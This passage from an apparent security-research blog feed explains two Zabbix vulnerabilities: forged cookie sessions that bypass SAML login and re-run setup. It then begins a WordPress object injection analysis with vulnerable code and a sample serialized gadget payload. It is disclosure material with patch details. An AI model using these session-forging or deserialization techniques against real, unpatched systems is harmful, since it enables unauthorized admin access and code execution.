   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Zabbix developers introduced a way to authenticate the data stored in cookies and to ensure they were not tampered with. This feature is implemented in &lt;code&gt;CEncryptedCookieSession&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ui/include/classes/core/CEncryptedCookieSession.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class CEncryptedCookieSession extends CCookieSession {
  // [...]   
  public function extractSessionId(): ?string {
       // [...] 
       if (!$this-&gt;checkSign($session_data)) {
           return null;
       }
       // [...] 
       return $session_data[&apos;sessionid&apos;];
   }
   // [...]
   protected function checkSign(string $data): bool {
       $data = json_decode($data, true);
 
       if (!is_array($data) || !array_key_exists(&apos;sign&apos;, $data)) {
           return false;
       }
 
       $session_sign = $data[&apos;sign&apos;];
       unset($data[&apos;sign&apos;]);
       $sign = CEncryptHelper::sign(json_encode($data));
       return $session_sign &amp;&amp; $sign &amp;&amp; CEncryptHelper::checkSign($session_sign, $sign);
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a side note for advanced readers, there is a big red flag here: the terms “sign[ature]” and “encrypted” are used interchangeably. &lt;code&gt;CEncryptHelper::sign()&lt;/code&gt; internally uses AES ECB, prone to malleability and not able to offer security guarantees about the authenticity of the data. Use of this construct also resulted in another security advisory, but it will not be detailed in this article. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The method &lt;code&gt;CEncryptedCookieSession::checkSign()&lt;/code&gt; is only invoked in &lt;code&gt;CEncryptedCookieSession::extractSessionId()&lt;/code&gt;, but never in &lt;code&gt;CCookieSession&lt;/code&gt;methods (e.g. during access in ​​&lt;code&gt;CCookieSession::read()&lt;/code&gt;). The authenticity of the session is never validated when fields other than &lt;code&gt;sessionid&lt;/code&gt; are accessed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since cookies are fully controlled by clients, they basically have control over the session. This is quite uncommon, and breaks most assumptions about the trustworthiness of values stored in it. It could lead to vulnerabilities in parts of the application where the session is used.&lt;/p&gt;&lt;h3&gt;CVE-2022-23131 - Bypassing the SAML SSO Authentication&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Security Assertion Markup Language (SAML) is one of the most common Single-Sign-On (SSO) standards. Implemented around XML, it allows Identity Providers (IdP, an entity with the ability to authenticate the user) to tell the Service Provider (SP, here Zabbix) who you are. You can configure the &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; to allow user authentication over SAML, but it is not enabled by default since it requires the knowledge of the details of the identity provider. This is the most common setup for enterprise deployments. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The code related to the SAML authentication mechanism can be found in &lt;code&gt;index_sso.php&lt;/code&gt;. In a nutshell, its goal is to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Redirect the user to the IdP;&lt;/li&gt;&lt;li&gt;After the user has been authenticated, validate the format and the signature of the incoming SAML payload. A session entry named &lt;code&gt;saml_data&lt;/code&gt; is created to remember the user&amp;#x27;s attributes;&lt;/li&gt;&lt;li&gt;If an entry named &lt;code&gt;saml_data&lt;/code&gt; exists in the session, extract its value and authenticate the user on Zabbix based on the value of &lt;code&gt;username_attribute&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As explained in the previous section, &lt;code&gt;CEncryptedCookieSession::checkSign()&lt;/code&gt; is never called in this file, hence the value of the session entry &lt;code&gt;saml_data[username_attribute]&lt;/code&gt;can be fully controlled by the client:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ui/index_sso.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   if (CSessionHelper::has(&apos;saml_data&apos;)) {
       $saml_data = CSessionHelper::get(&apos;saml_data&apos;);
       CWebUser::$data = API::getApiService(&apos;user&apos;)-&gt;loginByUsername($saml_data[&apos;username_attribute&apos;],
           (CAuthenticationHelper::get(CAuthenticationHelper::SAML_CASE_SENSITIVE) == ZBX_AUTH_CASE_SENSITIVE),
           CAuthenticationHelper::get(CAuthenticationHelper::AUTHENTICATION_TYPE)
       );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The exploitation is straightforward, especially since the &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; is automatically configured with a highly-privileged user named &lt;code&gt;Admin&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/5dci1i6Fq3M&quot;&gt;Zabbix Unsafe Session Storage - CVE-2022-23131&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Once authenticated as Admin on the dashboard, attackers can execute arbitrary commands on any attached &lt;em&gt;Zabbix Server&lt;/em&gt;, and on &lt;em&gt;Zabbix Agents&lt;/em&gt; if explicitly allowed in the configuration with &lt;code&gt;AllowKey=system.run[*]&lt;/code&gt; (non-default). &lt;/p&gt;&lt;h3&gt;CVE-2022-23134 - Reconfiguring Instances&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another occurrence of the unsafe use of the session was found in &lt;code&gt;setup.php&lt;/code&gt;. This script is usually run by system administrators when first deploying &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; and later access is only allowed to authenticated and highly-privileged users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This page normally uses the session to keep track of the progress across the setup steps; again, &lt;code&gt;CEncryptedCookieSession::checkSign()&lt;/code&gt; is never called here. Crafting a session with the entry step set to 6 allows re-running the latest step of the installation process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This step is really interesting for attackers, as its goal is to create the &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; configuration file &lt;code&gt;conf/zabbix.conf.php&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ui/include/classes/setup/CSetupWizard.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   private function stage6(): array {
       // [...] [1] 
       $config = new CConfigFile($config_file_name);
       $config-&gt;config = [
           &apos;DB&apos; =&gt; [
               &apos;TYPE&apos; =&gt; $this-&gt;getConfig(&apos;DB_TYPE&apos;),
               &apos;SERVER&apos; =&gt; $this-&gt;getConfig(&apos;DB_SERVER&apos;),
               &apos;PORT&apos; =&gt; $this-&gt;getConfig(&apos;DB_PORT&apos;),
               &apos;DATABASE&apos; =&gt; $this-&gt;getConfig(&apos;DB_DATABASE&apos;),
               // [...]  
           ] + $db_creds_config + $vault_config,
           // [...] 
       ];
       $error = false;
       // [...] [2]
       $db_connect = $this-&gt;dbConnect($db_user, $db_pass);
       $is_superadmin = (CWebUser::$data &amp;&amp; CWebUser::getType() == USER_TYPE_SUPER_ADMIN);
       $session_key_update_failed = ($db_connect &amp;&amp; !$is_superadmin)
           ? !CEncryptHelper::updateKey(CEncryptHelper::generateKey())
           : false;
       if (!$db_connect || $session_key_update_failed) {
           // [...]  
           return $this-&gt;stage2();
       }
       // [...]  
       if (!$config-&gt;save()) {
           // [...]  &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At &lt;code&gt;[1]&lt;/code&gt;, a new &lt;code&gt;CConfigFile&lt;/code&gt; object is created to store and validate the new configuration values. The method &lt;code&gt;CSetupWizard::getConfig()&lt;/code&gt; is simply a wrapper around the current session, hence these values are fully controlled by the attacker. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At &lt;code&gt;[2]&lt;/code&gt;, the code tries to identify if the new database configuration is valid by attempting a connection to it. As this code is only supposed to be called during the initial setup process, when user accounts and database settings like the encryption key are not yet provisioned, attackers with control over the session will be able to go through the various checks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, existing configuration files can be overridden by attackers even if the &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; instance is already in a working state. By pointing to a database under their control, attackers can then gain access to the dashboard with a highly-privileged account:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/-2wDXMck6A8&quot;&gt;Zabbix Unsafe Session Storage - CVE-2022-23134&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is important to understand that this access cannot be used to reach &lt;em&gt;Zabbix Agents&lt;/em&gt;deployed on the network: the &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; and the &lt;em&gt;Zabbix Server&lt;/em&gt; have to both use the same database to be able to communicate. It could still be possible to chain it with a code execution vulnerability on the web dashboard to gain control of the database and pivot on the network.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Other exploitation scenarios are possible in non-hardened or old environments. For instance, PHP’s MySQL client implements the &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/load-data.html&quot;&gt;&lt;code&gt;LOAD DATA LOCAL&lt;/code&gt;&lt;/a&gt; statement, but now &lt;a href=&quot;https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111&quot;&gt;disabled by default for 3 years&lt;/a&gt;. Another lead could be the presence of calls to &lt;code&gt;file_exists()&lt;/code&gt; with a fully-controlled parameter when validating the database configuration, which is known to be a security risk because of potentially dangerous scheme wrappers like &lt;code&gt;phar://&lt;/code&gt;. &lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Both vulnerabilities were addressed separately by the Zabbix maintainers:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;An additional signature field is introduced in the SSO authentication flow to prevent users from altering the SAML attributes stored in the session (&lt;a href=&quot;https://github.com/zabbix/zabbix/commit/0395828ab59db5e17ec17e3a63de540849d872f1&quot;&gt;0395828a&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;The way session cookies are authenticated is now done using an HMAC construct instead of AES ECB (&lt;a href=&quot;https://github.com/zabbix/zabbix/commit/eea1f70ac668d297b02ab5df93451bd170900ef2&quot;&gt;eea1f70a&lt;/a&gt;). &lt;/li&gt;&lt;li&gt;The setup process now bails out earlier if the instance is already installed and the current user does not have the &lt;em&gt;Super Administrator&lt;/em&gt; role (&lt;a href=&quot;https://github.com/zabbix/zabbix/commit/20943ae3e430698b293bcaaea858d3cdcf6ffdb9&quot;&gt;20943ae3&lt;/a&gt;). &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;They also took the decision to not enforce cookie signature checks: the main drawback of this approach is that new features relying on the session can introduce a similar vulnerability if the call to &lt;code&gt;CEncryptedCookieSession::checkSign()&lt;/code&gt; is forgotten. There is also no way to detect potential security regressions. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-11-18&lt;/td&gt;&lt;td&gt;A security advisory is sent to Zabbix maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-11-22&lt;/td&gt;&lt;td&gt;Vendor confirms our findings.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-14&lt;/td&gt;&lt;td&gt;A first release candidate, 5.4.9rc1, is issued.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-14&lt;/td&gt;&lt;td&gt;We inform the vendor that the patch can be bypassed.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-22&lt;/td&gt;&lt;td&gt;A second release candidate, 5.4.9rc2, is released.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-23&lt;/td&gt;&lt;td&gt;Zabbix 5.4.9, 5.0.9 and 4.0.37 are released.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-29&lt;/td&gt;&lt;td&gt;A public announcement is made at https://support.zabbix.com/browse/ZBX-20350.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-01-11&lt;/td&gt;&lt;td&gt;Zabbix 6.0.0beta2 is released.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article we introduced common security issues when implementing client-side session storage. As a case study, we described high-severity vulnerabilities that we discovered in Zabbix, a popular open-source monitoring platform. The vulnerabilities CVE-2022-23131 and CVE-2022-23134, both with the same root cause, can lead to a bypass of authentication and enable remote attackers to execute arbitrary code on a targeted server instance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When writing and reviewing code related to important security features, it is easy to make the same assumptions as the original developer who introduced the vulnerability. Here, there were no integration tests related to the client-side session storage that could have spotted this behavior.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Always provide access to sensible services with extended internal accesses (e.g. orchestration, monitoring) over VPNs or a restricted set of IP addresses, harden filesystem permissions to prevent unintended changes, remove setup scripts, etc. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the Zabbix maintainers for their responsiveness and robust disclosure process. &lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained&quot;&gt;Pandora FMS 742: Critical Code Vulnerabilities Explained&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution&quot;&gt;phpBB 3.2.3: Phar Deserialization to RCE&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/10-unknown-security-pitfalls-for-python&quot;&gt;10 Unknown Security Pitfalls for Python&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities&quot;&gt;elFinder - A Case Study of Web File Manager Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[WordPress < 5.8.3 - Object Injection Vulnerability]]></title><description><![CDATA[We discovered an interesting code vulnerability that could be used to bypass hardening mechanisms in the popular WordPress CMS.]]></description><link>https://www.sonarsource.com/blog/wordpress-object-injection-vulnerability</link><guid isPermaLink="false">d8a93002-1980-52f5-86ba-b1e389f4aed6</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 08 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At the time of writing, WordPress powers 43% of websites on the Internet. Its simplicity and robustness enable millions of users to host their blog, eCommerce site, forum, or static website. To protect its users, several security hardening mechanisms were introduced to the code base in the past. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered an interesting Object Injection vulnerability (CVE-2022-21663) in the WordPress core that was recently fixed with version &lt;a href=&quot;https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/&quot;&gt;5.8.3&lt;/a&gt;. Object Injection is a code vulnerability that enables attackers to inject PHP objects of arbitrary types into the application which can then tamper with the application’s logic at runtime. If you are new to the subject, we recommend reading our &lt;a href=&quot;https://blog.sonarsource.com/php-object-injection&quot;&gt;PHP Object Injection blog post&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although this particular vulnerability is hard to exploit, it demonstrates that these types of severe vulnerabilities are still found in complex and hardened code-bases. In this blog post, we examine the vulnerable code lines and uncover an interesting attack surface in the WordPress core.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The Object injection vulnerability can be triggered on multi-site WordPress installations by a malicious super-admin. Such privileges could be gained by exploiting a Cross-Site-Scripting vulnerability in the core or in any of the plugins installed on a targeted WordPress instance. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A WordPress instance usually ships with multiple plugins out of the 60.000 plugins that are freely available. It is common for a business website to have 20-30 active plugins. We have &lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce&quot;&gt;demonstrated in the past&lt;/a&gt; how all an attacker needs is a simple Cross-Site Scripting vulnerability in just one of the plugins installed to take over the targeted WordPress instance. This is due to the fact that on instances with default configurations, an admin can install malicious plugins and even edit their PHP code from within the admin panel. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To prevent attackers from abusing these features, WordPress released an &lt;a href=&quot;https://wordpress.org/support/article/hardening-wordpress/&quot;&gt;official hardening guide&lt;/a&gt;, which enables administrators to disable the aforementioned, dangerous features. When they are disabled and an attacker manages to hijack an administrative session, for example with a Stored XSS vulnerability in the core (see &lt;a href=&quot;https://blog.sonarsource.com/wordpress-stored-xss-vulnerability&quot;&gt;our last blog post&lt;/a&gt;), the attacker finds themselves in a “sandbox”. This means they are an administrator on the targeted instance, but they can’t execute PHP code on the underlying server. When a plugin is installed that contains appropriate pop-chain gadgets, this Object Injection vulnerability in WordPress could lead to Remote Code Execution.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we break down the technical details of this Object Injection vulnerability and how it might be exploited.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Background - WordPress options&lt;/h3&gt;&lt;p&gt;A WordPress site is controlled by hundreds of different &lt;a href=&quot;https://developer.wordpress.org/plugins/settings/options-api/&quot;&gt;options&lt;/a&gt;. These options are used to configure a WordPress site. In the underlying code, options are fetched from the database with help of the &lt;code&gt;get_option($key)&lt;/code&gt; function and updated with help of the &lt;code&gt;update_option($key, $value)&lt;/code&gt; function. Over time, the list of options stored on a WordPress site usually grows as WordPress plugin developers and even core developers tend to store internal data, which is not meant to be modified by a user or even administrator, as option pairs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, as an administrator of a WordPress site, it is possible to list and modify almost all option key/value pairs stored in the database. The following screenshot shows a list of options obtained by visiting the page at &lt;em&gt;/wp-admin/options.php&lt;/em&gt; on a test instance:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/88348ce7-f46b-4d79-a402-0c8d994a524e/body-a3fea17c-6faf-46bb-9aa7-c5a96f182fdf_admin-options.png&quot; /&gt;&lt;p&gt;Some of the option names in the screenshot above suggest that the data associated with them is meant for internal processes and should not be modified by an administrator. For instance,  the value of the &lt;code&gt;active_plugins&lt;/code&gt; option: in the screenshot, it is displayed as a grayed-out field with the value &lt;code&gt;SERIALIZED_DATA&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As &lt;a href=&quot;https://developer.wordpress.org/reference/functions/update_option/&quot;&gt;documented&lt;/a&gt; in the WordPress developer reference, the &lt;code&gt;update_option($key, $value)&lt;/code&gt; function can take objects, arrays, integers, strings, and other types as a value as long as they can be serialized. In such a case, a PHP serialized string is stored in the database.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The WordPress core ensures that no deserialization attacks can be performed by checking if a string has previously been serialized and if so, double-serializing it. This is done by the &lt;code&gt;maybe_serialize($data)&lt;/code&gt; function:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wordpress/wp-includes/functions.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;597  function maybe_serialize( $data ) {
 598         if ( is_array( $data ) || is_object( $data ) ) {
 599                 return serialize( $data );
 600         }
 601 
 602         /*
 603          * Double serialization is required for backward compatibility.
 604          * See https://core.trac.wordpress.org/ticket/12930
 605          * Also the world will end. See WP 3.6.1.
 606          */
 607         if ( is_serialized( $data, false ) ) {
 608                 return serialize( $data );
 609         }
 610 
 611         return $data;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The symmetrical twin of the &lt;code&gt;maybe_serialize($data)&lt;/code&gt; function is the &lt;code&gt;maybe_unserialize($data)&lt;/code&gt; function:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wordpress/wp-includes/functions.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;wordpress/wp-includes/functions.php
 622 function maybe_unserialize( $data ) {
 623         if ( is_serialized( $data ) ) { 
 624                 return @unserialize( trim( $data ) );
 625         }
 626 
 627         return $data;
 628 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Notice how both functions utilize &lt;code&gt;is_serialized($data)&lt;/code&gt; to detect whether a string looks like a PHP serialized string. The next section goes into detail about an Object Injection vulnerability that occured because this function was used incorrectly in the WordPress core.&lt;/p&gt;&lt;h3&gt;Object Injection (CVE-2022-21663)&lt;/h3&gt;&lt;p&gt;Every time WordPress handles an incoming request, it executes a list of validation steps. One of these steps is to ensure that the version of the database associated with the WordPress installation matches the version of the current code files.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For each new WordPress version that is released, the latest database version is updated in a global variable:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wordpress/wp-includes/version.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 18 /**
 19  * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
 20  *
 21  * @global int $wp_db_version
 22  */
 23 $wp_db_version = 49752;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The version shown in the snippet above is the version that the database &lt;strong&gt;should&lt;/strong&gt; be in when it has been fully upgraded. The version of the database as it is at the time of the request is stored as a WordPress option. The following snippet shows how this option is fetched from the database. When it is equal to the version that it is supposed to be, no action is performed and the request is handled. If the version is out of sync, a set of upgrade scripts are run, as shown below:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;wordpress/wp-admin/includes/upgrade.php
 636 function wp_upgrade() {
 637   global $wp_current_db_version, $wp_db_version, $wpdb;
 638 
 639   $wp_current_db_version = __get_option( &apos;db_version&apos; );
 640 
 641   // We are up to date. Nothing to do.
 642   if ( $wp_db_version == $wp_current_db_version ) {
 643       return;
 644   }
 645 
 646   if ( ! is_blog_installed() ) {
 647       return;
 648   }
 649 
	  // …
 654   upgrade_all();
 754 	  // …
 755   if ( $wp_current_db_version &lt; 8989 ) {
 756       upgrade_270();
 757   }
 758 
 759   if ( $wp_current_db_version &lt; 10360 ) {
 760       upgrade_280();
 761   }
 762   // …&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This behavior is interesting as a malicious admin can set &lt;code&gt;$wp_current_db_version&lt;/code&gt; to an arbitrary value, as it is a controllable option. Thus, an attacker can run any database upgrade scripts, including those that operate on controllable data, such as option values and meta-data associated with users and posts. This ability gives an attacker access to an interesting attack surface in the WordPress core.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The executed upgrade script &lt;code&gt;upgrade_280()&lt;/code&gt; is of particular interest:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wordpress/wp-admin/includes/upgrade.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;wordpress/wp-admin/includes/upgrade.php
1605 function upgrade_280() {
1606     global $wp_current_db_version, $wpdb;
1607 
1608     if($wp_current_db_version &lt; 10360 ) {
1609         populate_roles_280();
1610     }
1611     if(is_multisite() ) {
1612         $start = 0;
1613         while($rows = $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM $wpdb-&gt;options ORDER BY option_id LIMIT $start, 20&quot;)){
1614             foreach ( $rows as $row ) {
1615                 $value = $row-&gt;option_value;
1616                 if ( ! @unserialize( $value ) ) {
1617                     $value = stripslashes( $value );
1618                 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This upgrade script fetches options from the database in line 1613 and attempts to deserialize them on line 1616. The important detail to look out for is that PHP’s built-in &lt;code&gt;unserialize()&lt;/code&gt; function is used directly, and not the usual &lt;code&gt;maybe_unserialize()&lt;/code&gt;. The following paragraphs will break down why this behavior is interesting and how it leads to an Object Injection vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As discussed previously, a malicious admin can almost arbitrarily control the values of options and could thus attempt to inject a serialized PHP string into the database. One restriction is that when a serialized PHP string is detected, it is serialized again and thus becomes harmless.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an example, if an attacker tried to set the value of an option to the following serialized string:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;O:20:&quot;SuperDangerousGadget&quot;:1:{s:18:&quot;dangerous_property&quot;;s:8:&quot;bash ...&quot;;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;it would be double serialized into:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;s:73:&quot;O:20:&quot;SuperDangerousGadget&quot;:1:{s:18:&quot;dangerous_property&quot;;s:8:&quot;bash ...&quot;;}&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The result of this double-serialization is that the payload becomes harmless when unserialized, as it will result in a string.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a consequence, we looked at the code that actually detects if a string is serialized in the WordPress core in hope to find a differential in the logic between the code of WordPress and the &lt;code&gt;unserialize()&lt;/code&gt; code in the PHP core.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a reminder: here are some of the types supported by PHP’s &lt;code&gt;unserialize()&lt;/code&gt; function:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Example of serialized string&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Integer&lt;/td&gt;&lt;td&gt;i:1337;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Float&lt;/td&gt;&lt;td&gt;d:1337;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;String&lt;/td&gt;&lt;td&gt;s:15:&quot;hack the planet&quot;;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Object&lt;/td&gt;&lt;td&gt;O:8:&quot;stdClass&quot;:0:{}&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Object with custom deserialization function (available in PHP &amp;lt; 7.4)&lt;/td&gt;&lt;td&gt;C:11:&quot;ArrayObject&quot;:21:{x:i:0;a:0:{};m:a:0:{}}&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;What follows is a code excerpt from the &lt;code&gt;is_serialized($data)&lt;/code&gt; function from the WordPress core. This function compares the first character of the supplied input against a list of characters that indicate this string could be a serialized PHP string and then further makes comparisons. Note how the &lt;code&gt;C&lt;/code&gt; character for special objects is not taken into account in the switch cases:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wordpress/wp-includes/functions.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;677     $token = $data[0];
 678     switch ( $token ) {
 679         case &apos;s&apos;:
 680             if ( $strict ) {
 681                 if ( &apos;&quot;&apos; !== substr( $data, -2, 1 ) ) {
 682                     return false;
 683                 }
 684             } elseif ( false === strpos( $data, &apos;&quot;&apos; ) ) {
 685                 return false;
 686             }
 687             // Or else fall through.
 688         case &apos;a&apos;:
 689         case &apos;O&apos;:
 690             return (bool) preg_match( &quot;/^{$token}:[0-9]+:/s&quot;, $data );
 691         case &apos;b&apos;:
 692         case &apos;i&apos;:
 693         case &apos;d&apos;:
 694             $end = $strict ? &apos;$&apos; : &apos;&apos;;
 695             return (bool) preg_match( &quot;/^{$token}:[0-9.E+-]+;$end/&quot;, $data );
 696     }
